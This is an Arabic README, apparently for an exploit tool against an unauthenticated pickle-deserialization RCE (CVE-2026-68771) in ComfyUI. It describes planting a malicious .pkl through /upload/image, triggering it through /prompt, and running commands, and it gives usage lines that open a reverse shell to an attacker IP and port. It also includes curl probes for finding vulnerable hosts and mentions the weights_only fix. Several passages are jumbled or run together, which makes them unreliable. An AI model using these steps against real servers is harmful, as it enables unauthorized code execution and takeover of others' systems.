
استغلال غير مصادَق عليه لثغرة CVE-2026-68771، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) عبر إلغاء تسلسل pickle في ComfyUI. يزرع حمولة مُصمَّمة عبر نقطة النهاية /upload/image، ويُشغِّلها من خلال /prompt، وينفّذ أوامر أو يفتح صدفة عكسية.
تنفيذ تعسفي للكود عن بُعد بدون مصادقة في ComfyUI عبر عقدة LoadTrainingDataset.
تُحمّل الدالة LoadTrainingDataset.execute() أجزاء مجموعة البيانات من دليل الإخراج في الخادم باستخدام torch.load(f) بدون weights_only=True. على PyTorch < 2.6 (حيث تكون القيمة الافتراضية لـ weights_only هي False) ينفّذ الـ pickle في ملف shard_*.pkl مُعدّ خصيصًا دالة __reduce__ عند التحميل (CWE-502). يأتي ComfyUI بدون مصادقة، ويكتب مسار /upload/image (مع type=output) البايتات المُحمّلة كما هي دون التحقق من الامتداد، لذلك يمكن زرع ملف .pkl ثم تشغيله عبر طلبين دون مصادقة.
0.23.0 على PyTorch < 2.68188 (بدون مصادقة)مكتبة Python 3 القياسية فقط — لا تبعيات.
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:8188/ --shell 10.10.14.5:4444
# blind single command
python3 exploit.py http://10.10.10.10:8188/ -c 'id > /tmp/pwned'
يُنفَّذ الأمر على الخادم؛ ولا يُعاد إخراجه، لذا استخدم --shell للحصول على قشرة عكسية (أو اكتب الناتج في مسار قابل للقراءة) لملاحظة النتيجة.
طلبان بدون مصادقة:
الزرع — POST /upload/image مع type=output وsubfolder=training_dataset واسم الملف shard_0000.pkl. يكتب مسار /upload/image البايتات الخام (بدون أي معالجة للصور على هذا المسار)، لذلك يُخزَّن الـ pickle كما هو تمامًا في output/training_dataset/shard_0000.pkl. تُرجع دالة __reduce__ في الـ pickle القيمة (os.system, (cmd,)).
التشغيل — POST /prompt مع سير عمل: عقدة LoadTrainingDataset (folder_name=training_dataset) مربوطة بعقدة إخراج SaveLatent. تُجبر عقدة الإخراج ComfyUI على تنفيذ LoadTrainingDataset، التي تبحث عن الملفات المطابقة للنمط وتستدعي:
curl -s http://10.10.10.10:8188/system_stats | python3 -c "import sys,json;print(json.load(sys.stdin)['system']['comfyui_version'])"
# 0.23.0
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:8188/object_info/LoadTrainingDataset
# 200 -> vulnerable node present
torch.load(f, weights_only=True).weights_only هي True ويرفض مُلغِي التسلسل المقيّد os.system.لأغراض اختبار الأمان المصرّح به والتعليم فقط. استخدمه فقط ضد أنظمة تملكها أو لديك إذن صريح لاختبارها.
shard_*.pklwith open(shard_path, "rb") as f:
shard_data = torch.load(f) # no weights_only=True -> runs the pickle on torch < 2.6
تنفّذ دالة __reduce__ في الـ pickle الأمر os.system(cmd) أثناء إلغاء التسلسل.